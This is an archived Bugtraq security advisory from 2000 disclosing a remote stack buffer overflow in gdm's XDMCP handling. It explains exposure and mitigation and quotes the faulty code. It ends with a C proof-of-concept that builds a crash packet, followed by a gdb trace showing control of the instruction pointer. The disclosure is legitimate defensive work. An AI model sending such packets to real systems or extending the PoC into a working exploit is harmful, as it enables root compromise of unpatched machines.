5117503 2000-05-22 09:18 /164 rader/ Postmaster Mottagare: Bugtraq (import) <10940> Ärende: "gdm" remote hole ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Message-ID: <Pine.LNX.4.21.0005212220430.6695-100000@ferret.lmh.ox.ac.uk> Date: Sun, 21 May 2000 23:13:09 +0100 Reply-To: Chris Evans <chris@FERRET.LMH.OX.AC.UK> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Chris Evans <chris@FERRET.LMH.OX.AC.UK> X-To: bugtraq@securityfocus.com To: BUGTRAQ@SECURITYFOCUS.COM Hi, [Note that I was going to wait for an official fixed release of gdm, but RedHat have released an errata update to the public, so no point hanging around] SUMMARY ======= "gdm" is a replacement for "xdm", the X display manager. gdm is a part of the GNOME desktop. A buffer overflow exists in the XDMCP parsing code of gdm. If gdm is configured to talk the XDMCP protocol on port 177 UDP, then you are vulnerable. At the time of the overflow, gdm is running as root. It is not neccessary to have a valid username/password in order to reach the code flaw. But there is good news:) Luckily, most vendors and packagers using gdm, ship with a default of XDMCP listening _disabled_. Some examples of vendors/packages who are safe by default include: - RedHat 6.0-6.2 - Helix GNOME - The raw gdm source tarball Listening on the network is controlled by (on my system) /etc/X11/gdm/gdm.conf. Locate the [xdmcp] section. You are safe if you have "Enable=0". Alternatively use "netstat -ao" to check for something listening on port 177. NOTES ===== xdm is not vulnerable to this flaw. kdm (which comes with the KDE desktop) is also free from this issue (the XDMCP code is nabbed from xdm). In general, _whichever_ display manager you use to offer XDMCP, please consider desisting. Remember that the display manager is rendering a login box onto an untrusted remote machine. This involves chatting the X protocol. This is not a small protocol. What do you think the chances are that $(YOUR_VENDOR) ships a completely bug free set of X libraries? Aside from the buffer overflow, various people subsequently pointed out potential DoS issues (null pointer deref's) and some potential memory leaks. Please see CREDITS below. DISCUSSION OF CODE FLAW ======================= Check out daemon/xdmcp.c, gdm_xdmcp_handle_forward_query() ... // On stack struct in_addr ia; ... memmove (&ia.s_addr, clnt_addr.data, clnt_addr.length); // Where clnt_addr.{data,length} are from the network So it's a mildy disguised standard stack overflow. CREDITS ======= Martin K. Petersen: (gdm author). This guy saved a lot a grief by appreciating the issues with XDMCP in general, and disabling it by default. Owen Taylor, Elliot Lee: Spotted and fixed issues with NULL pointers and memory leaks. These issues were not readily apparent due to being hidden behind libXdmcp structures such as ARRAYofARRAY8, etc. Demo "crashme" packet builder and resultant gdm stack trace follow. I didn't write an exploit. I'm sure some friendly Black Hat will oblige and post. Cheers Chris /* * breakgdm.c - Chris Evans */ #include <unistd.h> #include <string.h> #include <netinet/in.h> int main(int argc, const char* argv[]) { char deathbuf[1000]; unsigned short s; unsigned char c; memset(deathbuf, 'A', sizeof(deathbuf)); /* Write the Xdmcp header */ /* Version */ s = htons(1); write(1, &s, 2); /* Opcode: FORWARD_QUERY */ s = htons(4); write(1, &s, 2); /* Length */ s = htons(1 + 2 + 1000 + 2); write(1, &s, 2); /* Now we're into FORWARD_QUERY which consists of * remote display, remote port, auth info. Remote display is binary * IP address data.... */ /* Remote display: 1000 A's which incidentally smoke a path * right to the stack */ s = htons(sizeof(deathbuf)); write(1, &s, 2); write(1, deathbuf, sizeof(deathbuf)); /* Display port.. empty data will do */ s = htons(0); write(1, &s, 2); /* Auth list.. empty data will do */ c = 0; write(1, &c, 1); } Program received signal SIGSEGV, Segmentation fault. getenv (name=0x40246a70 "") at ../sysdeps/generic/getenv.c:88 88 ../sysdeps/generic/getenv.c: No such file or directory. (gdb) bt #0 getenv (name=0x40246a70 "") at ../sysdeps/generic/getenv.c:88 #1 0x401e8f4a in tzset_internal (always=1094795585) at tzset.c:144 #2 0x401e9e2a in __tzset () at tzset.c:542 #3 0x401e676c in strftime ( s=0x80645c4 "May 20 06:24:04 gdm[1393]: gdm_xdmcp_handle_forward_query: ForwardQuery from 127.0.0.1", maxsize=8188, format=0x40247acb "%h %e %T ", tp=0xbffffa94) at strftime.c:476 #4 0x4020e681 in vsyslog (pri=3, fmt=0x8060770 "gdm_xdmcp_handle_forward_query: Got FORWARD_QUERY from display: 65.65.65.65, port 0", ap=0xbffffae8) at syslog.c:149 #5 0x4020e59f in syslog (pri=3, fmt=0x8060770 "gdm_xdmcp_handle_forward_query: Got FORWARD_QUERY from display: 65.65.65.65, port 0") at syslog.c:106 #6 0x804f9a4 in gdm_debug () #7 0x8050da2 in gdm_xdmcp_close () #8 0x41414141 in ?? () ^^^^^^^^^^^^^^ Cannot access memory at address 0x41414141. (5117503) ------------------------------------------(Ombruten)